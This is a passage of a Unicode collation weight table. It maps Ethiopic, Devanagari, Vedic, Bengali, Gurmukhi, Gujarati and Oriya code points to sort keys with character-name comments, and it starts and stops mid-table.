ETHIOPIC SYLLABLE PE +1356 ; [.258C.0020.0002] # ETHIOPIC SYLLABLE PO +1357 ; [.258D.0020.0002] # ETHIOPIC SYLLABLE PWA +138C ; [.258E.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT PWA +138D ; [.258F.0020.0002] # ETHIOPIC SYLLABLE PWI +138E ; [.2590.0020.0002] # ETHIOPIC SYLLABLE PWEE +138F ; [.2591.0020.0002] # ETHIOPIC SYLLABLE PWE +2D92 ; [.2592.0020.0002] # ETHIOPIC SYLLABLE POA +1358 ; [.2593.0020.0002] # ETHIOPIC SYLLABLE RYA +1359 ; [.2594.0020.0002] # ETHIOPIC SYLLABLE MYA +135A ; [.2595.0020.0002] # ETHIOPIC SYLLABLE FYA +2DA0 ; [.2596.0020.0002] # ETHIOPIC SYLLABLE SSA +2DA1 ; [.2597.0020.0002] # ETHIOPIC SYLLABLE SSU +2DA2 ; [.2598.0020.0002] # ETHIOPIC SYLLABLE SSI +2DA3 ; [.2599.0020.0002] # ETHIOPIC SYLLABLE SSAA +2DA4 ; [.259A.0020.0002] # ETHIOPIC SYLLABLE SSEE +2DA5 ; [.259B.0020.0002] # ETHIOPIC SYLLABLE SSE +2DA6 ; [.259C.0020.0002] # ETHIOPIC SYLLABLE SSO +2DA8 ; [.259D.0020.0002] # ETHIOPIC SYLLABLE CCA +2DA9 ; [.259E.0020.0002] # ETHIOPIC SYLLABLE CCU +2DAA ; [.259F.0020.0002] # ETHIOPIC SYLLABLE CCI +2DAB ; [.25A0.0020.0002] # ETHIOPIC SYLLABLE CCAA +2DAC ; [.25A1.0020.0002] # ETHIOPIC SYLLABLE CCEE +2DAD ; [.25A2.0020.0002] # ETHIOPIC SYLLABLE CCE +2DAE ; [.25A3.0020.0002] # ETHIOPIC SYLLABLE CCO +2DB0 ; [.25A4.0020.0002] # ETHIOPIC SYLLABLE ZZA +2DB1 ; [.25A5.0020.0002] # ETHIOPIC SYLLABLE ZZU +2DB2 ; [.25A6.0020.0002] # ETHIOPIC SYLLABLE ZZI +2DB3 ; [.25A7.0020.0002] # ETHIOPIC SYLLABLE ZZAA +2DB4 ; [.25A8.0020.0002] # ETHIOPIC SYLLABLE ZZEE +2DB5 ; [.25A9.0020.0002] # ETHIOPIC SYLLABLE ZZE +2DB6 ; [.25AA.0020.0002] # ETHIOPIC SYLLABLE ZZO +2DB8 ; [.25AB.0020.0002] # ETHIOPIC SYLLABLE CCHA +2DB9 ; [.25AC.0020.0002] # ETHIOPIC SYLLABLE CCHU +2DBA ; [.25AD.0020.0002] # ETHIOPIC SYLLABLE CCHI +2DBB ; [.25AE.0020.0002] # ETHIOPIC SYLLABLE CCHAA +2DBC ; [.25AF.0020.0002] # ETHIOPIC SYLLABLE CCHEE +2DBD ; [.25B0.0020.0002] # ETHIOPIC SYLLABLE CCHE +2DBE ; [.25B1.0020.0002] # ETHIOPIC SYLLABLE CCHO +2DC0 ; [.25B2.0020.0002] # ETHIOPIC SYLLABLE QYA +2DC1 ; [.25B3.0020.0002] # ETHIOPIC SYLLABLE QYU +2DC2 ; [.25B4.0020.0002] # ETHIOPIC SYLLABLE QYI +2DC3 ; [.25B5.0020.0002] # ETHIOPIC SYLLABLE QYAA +2DC4 ; [.25B6.0020.0002] # ETHIOPIC SYLLABLE QYEE +2DC5 ; [.25B7.0020.0002] # ETHIOPIC SYLLABLE QYE +2DC6 ; [.25B8.0020.0002] # ETHIOPIC SYLLABLE QYO +2DC8 ; [.25B9.0020.0002] # ETHIOPIC SYLLABLE KYA +2DC9 ; [.25BA.0020.0002] # ETHIOPIC SYLLABLE KYU +2DCA ; [.25BB.0020.0002] # ETHIOPIC SYLLABLE KYI +2DCB ; [.25BC.0020.0002] # ETHIOPIC SYLLABLE KYAA +2DCC ; [.25BD.0020.0002] # ETHIOPIC SYLLABLE KYEE +2DCD ; [.25BE.0020.0002] # ETHIOPIC SYLLABLE KYE +2DCE ; [.25BF.0020.0002] # ETHIOPIC SYLLABLE KYO +2DD0 ; [.25C0.0020.0002] # ETHIOPIC SYLLABLE XYA +2DD1 ; [.25C1.0020.0002] # ETHIOPIC SYLLABLE XYU +2DD2 ; [.25C2.0020.0002] # ETHIOPIC SYLLABLE XYI +2DD3 ; [.25C3.0020.0002] # ETHIOPIC SYLLABLE XYAA +2DD4 ; [.25C4.0020.0002] # ETHIOPIC SYLLABLE XYEE +2DD5 ; [.25C5.0020.0002] # ETHIOPIC SYLLABLE XYE +2DD6 ; [.25C6.0020.0002] # ETHIOPIC SYLLABLE XYO +2DD8 ; [.25C7.0020.0002] # ETHIOPIC SYLLABLE GYA +2DD9 ; [.25C8.0020.0002] # ETHIOPIC SYLLABLE GYU +2DDA ; [.25C9.0020.0002] # ETHIOPIC SYLLABLE GYI +2DDB ; [.25CA.0020.0002] # ETHIOPIC SYLLABLE GYAA +2DDC ; [.25CB.0020.0002] # ETHIOPIC SYLLABLE GYEE +2DDD ; [.25CC.0020.0002] # ETHIOPIC SYLLABLE GYE +2DDE ; [.25CD.0020.0002] # ETHIOPIC SYLLABLE GYO +0950 ; [.25CE.0020.0002] # DEVANAGARI OM +A8FD ; [.25CF.0020.0002] # DEVANAGARI JAIN OM +0972 ; [.25D0.0020.0002] # DEVANAGARI LETTER CANDRA A +0904 ; [.25D1.0020.0002] # DEVANAGARI LETTER SHORT A +0905 ; [.25D2.0020.0002] # DEVANAGARI LETTER A +0906 ; [.25D3.0020.0002] # DEVANAGARI LETTER AA +0973 ; [.25D4.0020.0002] # DEVANAGARI LETTER OE +0974 ; [.25D5.0020.0002] # DEVANAGARI LETTER OOE +0975 ; [.25D6.0020.0002] # DEVANAGARI LETTER AW +0976 ; [.25D7.0020.0002] # DEVANAGARI LETTER UE +0977 ; [.25D8.0020.0002] # DEVANAGARI LETTER UUE +0907 ; [.25D9.0020.0002] # DEVANAGARI LETTER I +0908 ; [.25DA.0020.0002] # DEVANAGARI LETTER II +0909 ; [.25DB.0020.0002] # DEVANAGARI LETTER U +090A ; [.25DC.0020.0002] # DEVANAGARI LETTER UU +090B ; [.25DD.0020.0002] # DEVANAGARI LETTER VOCALIC R +0960 ; [.25DE.0020.0002] # DEVANAGARI LETTER VOCALIC RR +090C ; [.25DF.0020.0002] # DEVANAGARI LETTER VOCALIC L +0961 ; [.25E0.0020.0002] # DEVANAGARI LETTER VOCALIC LL +090D ; [.25E1.0020.0002] # DEVANAGARI LETTER CANDRA E +090E ; [.25E2.0020.0002] # DEVANAGARI LETTER SHORT E +090F ; [.25E3.0020.0002] # DEVANAGARI LETTER E +0910 ; [.25E4.0020.0002] # DEVANAGARI LETTER AI +0911 ; [.25E5.0020.0002] # DEVANAGARI LETTER CANDRA O +0912 ; [.25E6.0020.0002] # DEVANAGARI LETTER SHORT O +0913 ; [.25E7.0020.0002] # DEVANAGARI LETTER O +0914 ; [.25E8.0020.0002] # DEVANAGARI LETTER AU +0915 ; [.25E9.0020.0002] # DEVANAGARI LETTER KA +0958 ; [.25E9.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER QA +0916 ; [.25EA.0020.0002] # DEVANAGARI LETTER KHA +0959 ; [.25EA.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER KHHA +0917 ; [.25EB.0020.0002] # DEVANAGARI LETTER GA +095A ; [.25EB.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER GHHA +097B ; [.25EC.0020.0002] # DEVANAGARI LETTER GGA +0918 ; [.25ED.0020.0002] # DEVANAGARI LETTER GHA +0919 ; [.25EE.0020.0002] # DEVANAGARI LETTER NGA +091A ; [.25EF.0020.0002] # DEVANAGARI LETTER CA +091B ; [.25F0.0020.0002] # DEVANAGARI LETTER CHA +091C ; [.25F1.0020.0002] # DEVANAGARI LETTER JA +095B ; [.25F1.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER ZA +0979 ; [.25F2.0020.0002] # DEVANAGARI LETTER ZHA +097C ; [.25F3.0020.0002] # DEVANAGARI LETTER JJA +091D ; [.25F4.0020.0002] # DEVANAGARI LETTER JHA +091E ; [.25F5.0020.0002] # DEVANAGARI LETTER NYA +091F ; [.25F6.0020.0002] # DEVANAGARI LETTER TTA +0920 ; [.25F7.0020.0002] # DEVANAGARI LETTER TTHA +0978 ; [.25F8.0020.0002] # DEVANAGARI LETTER MARWARI DDA +0921 ; [.25F9.0020.0002] # DEVANAGARI LETTER DDA +095C ; [.25F9.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER DDDHA +097E ; [.25FA.0020.0002] # DEVANAGARI LETTER DDDA +0922 ; [.25FB.0020.0002] # DEVANAGARI LETTER DDHA +095D ; [.25FB.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER RHA +0923 ; [.25FC.0020.0002] # DEVANAGARI LETTER NNA +0924 ; [.25FD.0020.0002] # DEVANAGARI LETTER TA +0925 ; [.25FE.0020.0002] # DEVANAGARI LETTER THA +0926 ; [.25FF.0020.0002] # DEVANAGARI LETTER DA +0927 ; [.2600.0020.0002] # DEVANAGARI LETTER DHA +0928 ; [.2601.0020.0002] # DEVANAGARI LETTER NA +0929 ; [.2601.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER NNNA +092A ; [.2602.0020.0002] # DEVANAGARI LETTER PA +092B ; [.2603.0020.0002] # DEVANAGARI LETTER PHA +095E ; [.2603.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER FA +092C ; [.2604.0020.0002] # DEVANAGARI LETTER BA +097F ; [.2605.0020.0002] # DEVANAGARI LETTER BBA +092D ; [.2606.0020.0002] # DEVANAGARI LETTER BHA +092E ; [.2607.0020.0002] # DEVANAGARI LETTER MA +092F ; [.2608.0020.0002] # DEVANAGARI LETTER YA +095F ; [.2608.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER YYA +097A ; [.2609.0020.0002] # DEVANAGARI LETTER HEAVY YA +0930 ; [.260A.0020.0002] # DEVANAGARI LETTER RA +0931 ; [.260A.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER RRA +0932 ; [.260B.0020.0002] # DEVANAGARI LETTER LA +0933 ; [.260C.0020.0002] # DEVANAGARI LETTER LLA +0934 ; [.260C.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER LLLA +0935 ; [.260D.0020.0002] # DEVANAGARI LETTER VA +0936 ; [.260E.0020.0002] # DEVANAGARI LETTER SHA +0937 ; [.260F.0020.0002] # DEVANAGARI LETTER SSA +0938 ; [.2610.0020.0002] # DEVANAGARI LETTER SA +0939 ; [.2611.0020.0002] # DEVANAGARI LETTER HA +093D ; [.2612.0020.0002] # DEVANAGARI SIGN AVAGRAHA +097D ; [.2613.0020.0002] # DEVANAGARI LETTER GLOTTAL STOP +1CE9 ; [.2614.0020.0002] # VEDIC SIGN ANUSVARA ANTARGOMUKHA +1CEA ; [.2614.0020.0004] # VEDIC SIGN ANUSVARA BAHIRGOMUKHA +1CEB ; [.2614.0020.0004] # VEDIC SIGN ANUSVARA VAMAGOMUKHA +1CEC ; [.2614.0020.0004] # VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL +1CEE ; [.2614.0020.0004] # VEDIC SIGN HEXIFORM LONG ANUSVARA +1CEF ; [.2614.0020.0004] # VEDIC SIGN LONG ANUSVARA +1CF0 ; [.2614.0020.0004] # VEDIC SIGN RTHANG LONG ANUSVARA +1CF1 ; [.2614.0020.0004] # VEDIC SIGN ANUSVARA UBHAYATO MUKHA +1CF5 ; [.2615.0020.0002] # VEDIC SIGN JIHVAMULIYA +1CF6 ; [.2616.0020.0002] # VEDIC SIGN UPADHMANIYA +A8F2 ; [.2617.0020.0002] # DEVANAGARI SIGN SPACING CANDRABINDU +A8F3 ; [.2617.0020.0004] # DEVANAGARI SIGN CANDRABINDU VIRAMA +A8F4 ; [.2617.0020.0004] # DEVANAGARI SIGN DOUBLE CANDRABINDU VIRAMA +A8F5 ; [.2617.0020.0004] # DEVANAGARI SIGN CANDRABINDU TWO +A8F6 ; [.2617.0020.0004] # DEVANAGARI SIGN CANDRABINDU THREE +A8F7 ; [.2617.0020.0004] # DEVANAGARI SIGN CANDRABINDU AVAGRAHA +A8FB ; [.2618.0020.0002] # DEVANAGARI HEADSTROKE +093E ; [.2619.0020.0002] # DEVANAGARI VOWEL SIGN AA +093A ; [.261A.0020.0002] # DEVANAGARI VOWEL SIGN OE +093B ; [.261B.0020.0002] # DEVANAGARI VOWEL SIGN OOE +094F ; [.261C.0020.0002] # DEVANAGARI VOWEL SIGN AW +0956 ; [.261D.0020.0002] # DEVANAGARI VOWEL SIGN UE +0957 ; [.261E.0020.0002] # DEVANAGARI VOWEL SIGN UUE +093F ; [.261F.0020.0002] # DEVANAGARI VOWEL SIGN I +0940 ; [.2620.0020.0002] # DEVANAGARI VOWEL SIGN II +0941 ; [.2621.0020.0002] # DEVANAGARI VOWEL SIGN U +0942 ; [.2622.0020.0002] # DEVANAGARI VOWEL SIGN UU +0943 ; [.2623.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC R +0944 ; [.2624.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC RR +0962 ; [.2625.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC L +0963 ; [.2626.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC LL +0945 ; [.2627.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA E +0955 ; [.2628.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA LONG E +0946 ; [.2629.0020.0002] # DEVANAGARI VOWEL SIGN SHORT E +0947 ; [.262A.0020.0002] # DEVANAGARI VOWEL SIGN E +094E ; [.262B.0020.0002] # DEVANAGARI VOWEL SIGN PRISHTHAMATRA E +0948 ; [.262C.0020.0002] # DEVANAGARI VOWEL SIGN AI +0949 ; [.262D.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA O +094A ; [.262E.0020.0002] # DEVANAGARI VOWEL SIGN SHORT O +094B ; [.262F.0020.0002] # DEVANAGARI VOWEL SIGN O +094C ; [.2630.0020.0002] # DEVANAGARI VOWEL SIGN AU +094D ; [.2631.0020.0002] # DEVANAGARI SIGN VIRAMA +0980 ; [.2632.0020.0002] # BENGALI ANJI +0985 ; [.2633.0020.0002] # BENGALI LETTER A +0986 ; [.2634.0020.0002] # BENGALI LETTER AA +0987 ; [.2635.0020.0002] # BENGALI LETTER I +0988 ; [.2636.0020.0002] # BENGALI LETTER II +0989 ; [.2637.0020.0002] # BENGALI LETTER U +098A ; [.2638.0020.0002] # BENGALI LETTER UU +098B ; [.2639.0020.0002] # BENGALI LETTER VOCALIC R +09E0 ; [.263A.0020.0002] # BENGALI LETTER VOCALIC RR +098C ; [.263B.0020.0002] # BENGALI LETTER VOCALIC L +09E1 ; [.263C.0020.0002] # BENGALI LETTER VOCALIC LL +098F ; [.263D.0020.0002] # BENGALI LETTER E +0990 ; [.263E.0020.0002] # BENGALI LETTER AI +0993 ; [.263F.0020.0002] # BENGALI LETTER O +0994 ; [.2640.0020.0002] # BENGALI LETTER AU +0995 ; [.2641.0020.0002] # BENGALI LETTER KA +0996 ; [.2642.0020.0002] # BENGALI LETTER KHA +0997 ; [.2643.0020.0002] # BENGALI LETTER GA +0998 ; [.2644.0020.0002] # BENGALI LETTER GHA +0999 ; [.2645.0020.0002] # BENGALI LETTER NGA +099A ; [.2646.0020.0002] # BENGALI LETTER CA +099B ; [.2647.0020.0002] # BENGALI LETTER CHA +099C ; [.2648.0020.0002] # BENGALI LETTER JA +099D ; [.2649.0020.0002] # BENGALI LETTER JHA +099E ; [.264A.0020.0002] # BENGALI LETTER NYA +099F ; [.264B.0020.0002] # BENGALI LETTER TTA +09A0 ; [.264C.0020.0002] # BENGALI LETTER TTHA +09A1 ; [.264D.0020.0002] # BENGALI LETTER DDA +09DC ; [.264D.0020.0002][.0000.00BD.0002] # BENGALI LETTER RRA +09A2 ; [.264E.0020.0002] # BENGALI LETTER DDHA +09DD ; [.264E.0020.0002][.0000.00BD.0002] # BENGALI LETTER RHA +09A3 ; [.264F.0020.0002] # BENGALI LETTER NNA +09A4 ; [.2650.0020.0002] # BENGALI LETTER TA +09CE ; [.2650.0020.0004][.2671.0020.0004] # BENGALI LETTER KHANDA TA +09A5 ; [.2651.0020.0002] # BENGALI LETTER THA +09A6 ; [.2652.0020.0002] # BENGALI LETTER DA +09A7 ; [.2653.0020.0002] # BENGALI LETTER DHA +09A8 ; [.2654.0020.0002] # BENGALI LETTER NA +09AA ; [.2655.0020.0002] # BENGALI LETTER PA +09AB ; [.2656.0020.0002] # BENGALI LETTER PHA +09AC ; [.2657.0020.0002] # BENGALI LETTER BA +09AD ; [.2658.0020.0002] # BENGALI LETTER BHA +09AE ; [.2659.0020.0002] # BENGALI LETTER MA +09AF ; [.265A.0020.0002] # BENGALI LETTER YA +09DF ; [.265A.0020.0002][.0000.00BD.0002] # BENGALI LETTER YYA +09B0 ; [.265B.0020.0002] # BENGALI LETTER RA +09F0 ; [.265C.0020.0002] # BENGALI LETTER RA WITH MIDDLE DIAGONAL +09B2 ; [.265D.0020.0002] # BENGALI LETTER LA +09F1 ; [.265E.0020.0002] # BENGALI LETTER RA WITH LOWER DIAGONAL +09B6 ; [.265F.0020.0002] # BENGALI LETTER SHA +09B7 ; [.2660.0020.0002] # BENGALI LETTER SSA +09B8 ; [.2661.0020.0002] # BENGALI LETTER SA +09B9 ; [.2662.0020.0002] # BENGALI LETTER HA +09BD ; [.2663.0020.0002] # BENGALI SIGN AVAGRAHA +09BE ; [.2664.0020.0002] # BENGALI VOWEL SIGN AA +09BF ; [.2665.0020.0002] # BENGALI VOWEL SIGN I +09C0 ; [.2666.0020.0002] # BENGALI VOWEL SIGN II +09C1 ; [.2667.0020.0002] # BENGALI VOWEL SIGN U +09C2 ; [.2668.0020.0002] # BENGALI VOWEL SIGN UU +09C3 ; [.2669.0020.0002] # BENGALI VOWEL SIGN VOCALIC R +09C4 ; [.266A.0020.0002] # BENGALI VOWEL SIGN VOCALIC RR +09E2 ; [.266B.0020.0002] # BENGALI VOWEL SIGN VOCALIC L +09E3 ; [.266C.0020.0002] # BENGALI VOWEL SIGN VOCALIC LL +09C7 ; [.266D.0020.0002] # BENGALI VOWEL SIGN E +09C8 ; [.266E.0020.0002] # BENGALI VOWEL SIGN AI +09CB ; [.266F.0020.0002] # BENGALI VOWEL SIGN O +09C7 09BE ; [.266F.0020.0002] # BENGALI VOWEL SIGN O +09CC ; [.2670.0020.0002] # BENGALI VOWEL SIGN AU +09C7 09D7 ; [.2670.0020.0002] # BENGALI VOWEL SIGN AU +09CD ; [.2671.0020.0002] # BENGALI SIGN VIRAMA +09D7 ; [.2672.0020.0002] # BENGALI AU LENGTH MARK +0A74 ; [.2673.0020.0002] # GURMUKHI EK ONKAR +0A73 ; [.2674.0020.0002] # GURMUKHI URA +0A09 ; [.2675.0020.0002] # GURMUKHI LETTER U +0A0A ; [.2676.0020.0002] # GURMUKHI LETTER UU +0A13 ; [.2677.0020.0002] # GURMUKHI LETTER OO +0A05 ; [.2678.0020.0002] # GURMUKHI LETTER A +0A06 ; [.2679.0020.0002] # GURMUKHI LETTER AA +0A10 ; [.267A.0020.0002] # GURMUKHI LETTER AI +0A14 ; [.267B.0020.0002] # GURMUKHI LETTER AU +0A72 ; [.267C.0020.0002] # GURMUKHI IRI +0A07 ; [.267D.0020.0002] # GURMUKHI LETTER I +0A08 ; [.267E.0020.0002] # GURMUKHI LETTER II +0A0F ; [.267F.0020.0002] # GURMUKHI LETTER EE +0A38 ; [.2680.0020.0002] # GURMUKHI LETTER SA +0A36 ; [.2680.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER SHA +0A39 ; [.2681.0020.0002] # GURMUKHI LETTER HA +0A51 ; [.2682.0020.0002] # GURMUKHI SIGN UDAAT +0A15 ; [.2683.0020.0002] # GURMUKHI LETTER KA +0A16 ; [.2684.0020.0002] # GURMUKHI LETTER KHA +0A59 ; [.2684.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER KHHA +0A17 ; [.2685.0020.0002] # GURMUKHI LETTER GA +0A5A ; [.2685.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER GHHA +0A18 ; [.2686.0020.0002] # GURMUKHI LETTER GHA +0A19 ; [.2687.0020.0002] # GURMUKHI LETTER NGA +0A1A ; [.2688.0020.0002] # GURMUKHI LETTER CA +0A1B ; [.2689.0020.0002] # GURMUKHI LETTER CHA +0A1C ; [.268A.0020.0002] # GURMUKHI LETTER JA +0A5B ; [.268A.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER ZA +0A1D ; [.268B.0020.0002] # GURMUKHI LETTER JHA +0A1E ; [.268C.0020.0002] # GURMUKHI LETTER NYA +0A1F ; [.268D.0020.0002] # GURMUKHI LETTER TTA +0A20 ; [.268E.0020.0002] # GURMUKHI LETTER TTHA +0A21 ; [.268F.0020.0002] # GURMUKHI LETTER DDA +0A22 ; [.2690.0020.0002] # GURMUKHI LETTER DDHA +0A23 ; [.2691.0020.0002] # GURMUKHI LETTER NNA +0A24 ; [.2692.0020.0002] # GURMUKHI LETTER TA +0A25 ; [.2693.0020.0002] # GURMUKHI LETTER THA +0A26 ; [.2694.0020.0002] # GURMUKHI LETTER DA +0A27 ; [.2695.0020.0002] # GURMUKHI LETTER DHA +0A28 ; [.2696.0020.0002] # GURMUKHI LETTER NA +0A2A ; [.2697.0020.0002] # GURMUKHI LETTER PA +0A2B ; [.2698.0020.0002] # GURMUKHI LETTER PHA +0A5E ; [.2698.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER FA +0A2C ; [.2699.0020.0002] # GURMUKHI LETTER BA +0A2D ; [.269A.0020.0002] # GURMUKHI LETTER BHA +0A2E ; [.269B.0020.0002] # GURMUKHI LETTER MA +0A2F ; [.269C.0020.0002] # GURMUKHI LETTER YA +0A75 ; [.269D.0020.0002] # GURMUKHI SIGN YAKASH +0A30 ; [.269E.0020.0002] # GURMUKHI LETTER RA +0A32 ; [.269F.0020.0002] # GURMUKHI LETTER LA +0A33 ; [.269F.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER LLA +0A35 ; [.26A0.0020.0002] # GURMUKHI LETTER VA +0A5C ; [.26A1.0020.0002] # GURMUKHI LETTER RRA +0A3E ; [.26A2.0020.0002] # GURMUKHI VOWEL SIGN AA +0A3F ; [.26A3.0020.0002] # GURMUKHI VOWEL SIGN I +0A40 ; [.26A4.0020.0002] # GURMUKHI VOWEL SIGN II +0A41 ; [.26A5.0020.0002] # GURMUKHI VOWEL SIGN U +0A42 ; [.26A6.0020.0002] # GURMUKHI VOWEL SIGN UU +0A47 ; [.26A7.0020.0002] # GURMUKHI VOWEL SIGN EE +0A48 ; [.26A8.0020.0002] # GURMUKHI VOWEL SIGN AI +0A4B ; [.26A9.0020.0002] # GURMUKHI VOWEL SIGN OO +0A4C ; [.26AA.0020.0002] # GURMUKHI VOWEL SIGN AU +0A4D ; [.26AB.0020.0002] # GURMUKHI SIGN VIRAMA +0AD0 ; [.26AC.0020.0002] # GUJARATI OM +0A85 ; [.26AD.0020.0002] # GUJARATI LETTER A +0A86 ; [.26AE.0020.0002] # GUJARATI LETTER AA +0A87 ; [.26AF.0020.0002] # GUJARATI LETTER I +0A88 ; [.26B0.0020.0002] # GUJARATI LETTER II +0A89 ; [.26B1.0020.0002] # GUJARATI LETTER U +0A8A ; [.26B2.0020.0002] # GUJARATI LETTER UU +0A8B ; [.26B3.0020.0002] # GUJARATI LETTER VOCALIC R +0AE0 ; [.26B4.0020.0002] # GUJARATI LETTER VOCALIC RR +0A8C ; [.26B5.0020.0002] # GUJARATI LETTER VOCALIC L +0AE1 ; [.26B6.0020.0002] # GUJARATI LETTER VOCALIC LL +0A8D ; [.26B7.0020.0002] # GUJARATI VOWEL CANDRA E +0A8F ; [.26B8.0020.0002] # GUJARATI LETTER E +0A90 ; [.26B9.0020.0002] # GUJARATI LETTER AI +0A91 ; [.26BA.0020.0002] # GUJARATI VOWEL CANDRA O +0A93 ; [.26BB.0020.0002] # GUJARATI LETTER O +0A94 ; [.26BC.0020.0002] # GUJARATI LETTER AU +0A95 ; [.26BD.0020.0002] # GUJARATI LETTER KA +0A96 ; [.26BE.0020.0002] # GUJARATI LETTER KHA +0A97 ; [.26BF.0020.0002] # GUJARATI LETTER GA +0A98 ; [.26C0.0020.0002] # GUJARATI LETTER GHA +0A99 ; [.26C1.0020.0002] # GUJARATI LETTER NGA +0A9A ; [.26C2.0020.0002] # GUJARATI LETTER CA +0A9B ; [.26C3.0020.0002] # GUJARATI LETTER CHA +0A9C ; [.26C4.0020.0002] # GUJARATI LETTER JA +0AF9 ; [.26C5.0020.0002] # GUJARATI LETTER ZHA +0A9D ; [.26C6.0020.0002] # GUJARATI LETTER JHA +0A9E ; [.26C7.0020.0002] # GUJARATI LETTER NYA +0A9F ; [.26C8.0020.0002] # GUJARATI LETTER TTA +0AA0 ; [.26C9.0020.0002] # GUJARATI LETTER TTHA +0AA1 ; [.26CA.0020.0002] # GUJARATI LETTER DDA +0AA2 ; [.26CB.0020.0002] # GUJARATI LETTER DDHA +0AA3 ; [.26CC.0020.0002] # GUJARATI LETTER NNA +0AA4 ; [.26CD.0020.0002] # GUJARATI LETTER TA +0AA5 ; [.26CE.0020.0002] # GUJARATI LETTER THA +0AA6 ; [.26CF.0020.0002] # GUJARATI LETTER DA +0AA7 ; [.26D0.0020.0002] # GUJARATI LETTER DHA +0AA8 ; [.26D1.0020.0002] # GUJARATI LETTER NA +0AAA ; [.26D2.0020.0002] # GUJARATI LETTER PA +0AAB ; [.26D3.0020.0002] # GUJARATI LETTER PHA +0AAC ; [.26D4.0020.0002] # GUJARATI LETTER BA +0AAD ; [.26D5.0020.0002] # GUJARATI LETTER BHA +0AAE ; [.26D6.0020.0002] # GUJARATI LETTER MA +0AAF ; [.26D7.0020.0002] # GUJARATI LETTER YA +0AB0 ; [.26D8.0020.0002] # GUJARATI LETTER RA +0AB2 ; [.26D9.0020.0002] # GUJARATI LETTER LA +0AB5 ; [.26DA.0020.0002] # GUJARATI LETTER VA +0AB6 ; [.26DB.0020.0002] # GUJARATI LETTER SHA +0AB7 ; [.26DC.0020.0002] # GUJARATI LETTER SSA +0AB8 ; [.26DD.0020.0002] # GUJARATI LETTER SA +0AB9 ; [.26DE.0020.0002] # GUJARATI LETTER HA +0AB3 ; [.26DF.0020.0002] # GUJARATI LETTER LLA +0ABD ; [.26E0.0020.0002] # GUJARATI SIGN AVAGRAHA +0ABE ; [.26E1.0020.0002] # GUJARATI VOWEL SIGN AA +0ABF ; [.26E2.0020.0002] # GUJARATI VOWEL SIGN I +0AC0 ; [.26E3.0020.0002] # GUJARATI VOWEL SIGN II +0AC1 ; [.26E4.0020.0002] # GUJARATI VOWEL SIGN U +0AC2 ; [.26E5.0020.0002] # GUJARATI VOWEL SIGN UU +0AC3 ; [.26E6.0020.0002] # GUJARATI VOWEL SIGN VOCALIC R +0AC4 ; [.26E7.0020.0002] # GUJARATI VOWEL SIGN VOCALIC RR +0AE2 ; [.26E8.0020.0002] # GUJARATI VOWEL SIGN VOCALIC L +0AE3 ; [.26E9.0020.0002] # GUJARATI VOWEL SIGN VOCALIC LL +0AC5 ; [.26EA.0020.0002] # GUJARATI VOWEL SIGN CANDRA E +0AC7 ; [.26EB.0020.0002] # GUJARATI VOWEL SIGN E +0AC8 ; [.26EC.0020.0002] # GUJARATI VOWEL SIGN AI +0AC9 ; [.26ED.0020.0002] # GUJARATI VOWEL SIGN CANDRA O +0ACB ; [.26EE.0020.0002] # GUJARATI VOWEL SIGN O +0ACC ; [.26EF.0020.0002] # GUJARATI VOWEL SIGN AU +0ACD ; [.26F0.0020.0002] # GUJARATI SIGN VIRAMA +0B05 ; [.26F1.0020.0002] # ORIYA LETTER A +0B06 ; [.26F2.0020.0002] # ORIYA LETTER AA +0B07 ; [.26F3.0020.0002] # ORIYA LETTER I +0B08 ; [.26F4.0020.0002] # ORIYA LETTER II +0B09 ; [.26F5.0020.0002] # ORIYA LETTER U +0B0A ; [.26F6.0020.0002] # ORIYA LETTER UU +0B0B ; [.26F7.0020.0002] # ORIYA LETTER VOCALIC R +0B60 ; [.26F8.0020.0002] # ORIYA LETTER VOCALIC RR +0B0C ; [.26F9.0020.0002] # ORIYA LETTER VOCALIC L +0B61 ; [.26FA.0020.0002] # ORIYA LETTER VOCALIC LL +0B0F ; [.26FB.0020.0002] # ORIYA LETTER E +0B10 ; [.26FC.0020.0002] # ORIYA LETTER AI +0B13 ; [.26FD.0020.0002] # ORIYA LETTER O +0B14 ; [.26FE.0020.0002] # ORIYA LETTER AU +0B15 ; [.26FF.0020.0002] # ORIYA LETTER KA +0B16 ; [.2700.0020.0002] # ORIYA LETTER KHA +0B17 ; [.2701.0020.0002] # ORIYA LETTER GA +0B18 ; [.2702.0020.0002] # ORIYA LETTER GHA +0B19 ; [.2703.0020.0002] # ORIYA LETTER NGA +0B1A ; [.2704.0020.0002] # ORIYA LETTER CA +0B1B ; [.2705.0020.0002] # ORIYA LETTER CHA +0B1C ; [.2706.0020.0002] # ORIYA LETTER JA +0B1D ; [.2707.0020.0002] # ORIYA LETTER JHA +0B1E ; [.2708.0020.0002] # ORIYA LETTER NYA +0B1F ; [.2709.0020.0002] # ORIYA LETTER TTA +0B20 ; [.270A.0020.0002] # ORIYA LETTER TTHA +0B21 ; [.270B.0020.0002] # ORIYA LETTER DDA +0B5C ; [.270B.0020.0002][.0000.00BD.0002] # ORIYA LETTER RRA +0B22 ; [.270C.0020.0002] # ORIYA LETTER DDHA +0B5D ; [.270C.0020.0002][.0000.00BD.0002] # ORIYA LETTER RHA +0B23 ; [.270D.0020.0002] # ORIYA LETTER NNA +0B24 ; [.270E.0020.0002] # 